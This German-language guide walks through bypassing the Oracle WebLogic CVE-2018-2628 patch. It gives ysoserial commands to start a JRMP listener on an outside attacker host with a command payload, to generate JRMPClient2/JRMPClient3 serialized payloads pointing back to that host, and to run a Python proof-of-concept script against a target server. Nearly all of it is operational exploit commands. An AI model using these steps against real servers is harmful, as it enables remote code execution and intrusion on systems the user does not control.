
Einige Codes zur Umgehung des Oracle WebLogic CVE-2018-2628 Patches
Befehlsformat:
java -cp ysoserial--cve-2018-2628-all.jar ysoserial.exploit.JRMPListener
Zum Beispiel:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
Wenn die Ausgabe *Opening JRMP listener on 22801 erscheint, notieren Sie die IP-Adresse des Hosts, auf dem der JRMPListener läuft (im Beispiel läuft er auf einer Alibaba-Cloud-ECS-Instanz mit der öffentlichen IP 47.94.158.125) und den angegebenen Port.
Derzeit sind zwei Methoden bekannt (wählen Sie eine der beiden folgenden Methoden zum Generieren des Payload-Objekt-Strings):
Befehlsformat zum Generieren des Payload-Objekt-Strings:
java -jar ysoserial--cve-2018-2628-all.jar JRMPClient2 : | xxd -p | tr -d $'\n' && echo
Zum Beispiel:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Beispiel (Binärausgabedaten des mit JRMPClient2 generierten Payload-Objekts):

Befehlsformat zum Generieren des Payload-Objekt-Strings:
java -jar ysoserial--cve-2018-2628-all.jar JRMPClient3 : | xxd -p | tr -d $'\n' && echo
Zum Beispiel:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Beispiel (Binärausgabedaten des mit JRMPClient3 generierten Payload-Objekts):

Bearbeiten Sie wls-cve-2018-2628-poc.py. Ersetzen Sie den Wert der Variablen payload_str oben im Skript durch den im vorherigen Schritt generierten Hex-String (die beiden in diesem Skript enthaltenen payload_str-Werte können ebenfalls direkt verwendet werden, sie entsprechen den Hex-Strings der beiden oben genannten Methoden).
Befehlsformat:
python wls-cve-2018-2628-poc.py
Zum Beispiel:
python wls-cve-2018-2628-poc.py 192.168.64.83 7001
Beispiel (mit installiertem Patch Set Update 180417):


xxlegend@nsfocus (einer der Entdecker und Einreicher der Schwachstelle CVE-2018-2628, der den Ausnutzungsweg und relevante Codebeispiele offenlegte)
badcode@knownsec (bereitstellte das Codebeispiel zur Kapselung von java.rmi.registry.Registry durch weblogic.jms.common.StreamMessageImpl)
ysoserial project (fasst viele Java-Deserialisierungs-Exploits zusammen)